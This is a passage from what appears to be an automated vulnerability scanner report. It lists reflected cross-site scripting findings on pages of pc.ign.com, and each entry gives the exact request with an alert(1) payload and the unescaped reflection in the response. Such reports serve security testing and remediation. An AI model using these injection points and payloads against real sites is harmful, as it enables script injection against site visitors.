This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?types=all249ec"-alert(1)-"f01e33a980f HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:05 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:05 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27912-1825022888-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:02 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043702210v-1n-12mc+1297043702210mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 114961

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
Guard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/index/latest-updates.html?types=all249ec"-alert(1)-"f01e33a980f",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.343. http://pc.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into an HTML comment. The payload e31ad--><script>alert(1)</script>ea44906b49 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index/latest-updates.html?types=alle31ad--><script>alert(1)</script>ea44906b49 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:16 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:16 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15004-1828362650-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:15 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043716008v-1n-12mc+1297043716008mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 115396

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script>ea44906b49&startDate=20110107&endDate=20110206 -->
...[SNIP]...

3.344. http://pc.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aee00"><script>alert(1)</script>a5488f5fe22 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?types=allaee00"><script>alert(1)</script>a5488f5fe22 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32465-193971950-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:58 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043698490v-1n-12mc+1297043698490mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 115396

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/index/latest-updates.html?types=allaee00"><script>alert(1)</script>a5488f5fe22&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.345. http://pc.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4af53"><script>alert(1)</script>a5f4e0d2a13 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/news.html?4af53"><script>alert(1)</script>a5f4e0d2a13=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32463-692307392-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043682065v-1n-12mc+1297043682065mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 136461

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PC: Games, Che
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/index/news.html?4af53"><script>alert(1)</script>a5f4e0d2a13=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.346. http://pc.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cdc0f"-alert(1)-"c26a5909f3d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/news.html?cdc0f"-alert(1)-"c26a5909f3d=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:44 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:44 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27912-578778198-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:44 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043684115v-1n-12mc+1297043684115mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 136401

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN PC: Games, Che
...[SNIP]...
if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/index/news.html?cdc0f"-alert(1)-"c26a5909f3d=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.347. http://pc.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2a6ec"-alert(1)-"d9abf3034d5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/previews.html?2a6ec"-alert(1)-"d9abf3034d5=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:50 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-1419017900-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043689921v-1n-12mc+1297043689921mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 127551

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN PC: Games, Che
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/index/previews.html?2a6ec"-alert(1)-"d9abf3034d5=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.348. http://pc.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3db80"><script>alert(1)</script>2301c3d1443 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/previews.html?3db80"><script>alert(1)</script>2301c3d1443=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-25496-962727130-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:47 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043687467v-1n-12mc+1297043687467mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 132295

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PC: Games, Che
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/index/previews.html?3db80"><script>alert(1)</script>2301c3d1443=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.349. http://pc.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33cbd"><script>alert(1)</script>843c3a55b21 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/reviews.html?33cbd"><script>alert(1)</script>843c3a55b21=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:51 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-23512-1617505817-19;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:50 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043690984v-1n-12mc+1297043690984mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 176363

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New PC Game Review
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/index/reviews.html?33cbd"><script>alert(1)</script>843c3a55b21=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.350. http://pc.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ffe48"-alert(1)-"eac3036dcd9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/reviews.html?ffe48"-alert(1)-"eac3036dcd9=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:55 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-605285319-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:54 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043694761v-1n-12mc+1297043694761mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 180269

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New PC Game Review
...[SNIP]...
typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/index/reviews.html?ffe48"-alert(1)-"eac3036dcd9=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.351. http://pc.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92006"><script>alert(1)</script>23455e7bb7c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/upcoming.html?92006"><script>alert(1)</script>23455e7bb7c=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-25496-544784093-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:37 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043677077v-1n-12mc+1297043677077mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 169679

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New PC Games, The
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/index/upcoming.html?92006"><script>alert(1)</script>23455e7bb7c=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.352. http://pc.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7bea2"-alert(1)-"86d750ec0d0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/upcoming.html?7bea2"-alert(1)-"86d750ec0d0=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:39 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19323-1535150082-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:38 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043678779v-1n-12mc+1297043678779mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 164554

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New PC Games, The
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/index/upcoming.html?7bea2"-alert(1)-"86d750ec0d0=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.353. http://pc.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 21c11"-alert(1)-"bfc60e24961 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/videos.html?21c11"-alert(1)-"bfc60e24961=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:44 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:44 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-2056299089-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:44 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043684690v-1n-12mc+1297043684690mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 131343

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN PC: Games, Che
...[SNIP]...
(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/index/videos.html?21c11"-alert(1)-"bfc60e24961=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.354. http://pc.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 581b0"><script>alert(1)</script>282763605b8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/videos.html?581b0"><script>alert(1)</script>282763605b8=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27912-108821660-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043682248v-1n-12mc+1297043682248mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 131414

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PC: Games, Che
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/index/videos.html?581b0"><script>alert(1)</script>282763605b8=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.355. http://pc.ign.com/objects/001/001317.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/objects/001/001317.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c00df"-alert(1)-"196d094f1ee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/001/001317.html?c00df"-alert(1)-"196d094f1ee=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 122940
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=30bi4lqq9o1dv;Path=/includes
Set-Cookie: freq=c-1297043725446v-1n-12mc+1297043725446mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26296-2140711771-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:25 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 01:55:25 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:25 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Need For Spee
...[SNIP]...
f _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/objects/001/001317.html?c00df"-alert(1)-"196d094f1ee=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.356. http://pc.ign.com/objects/001/001317.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/objects/001/001317.html

Issue detail

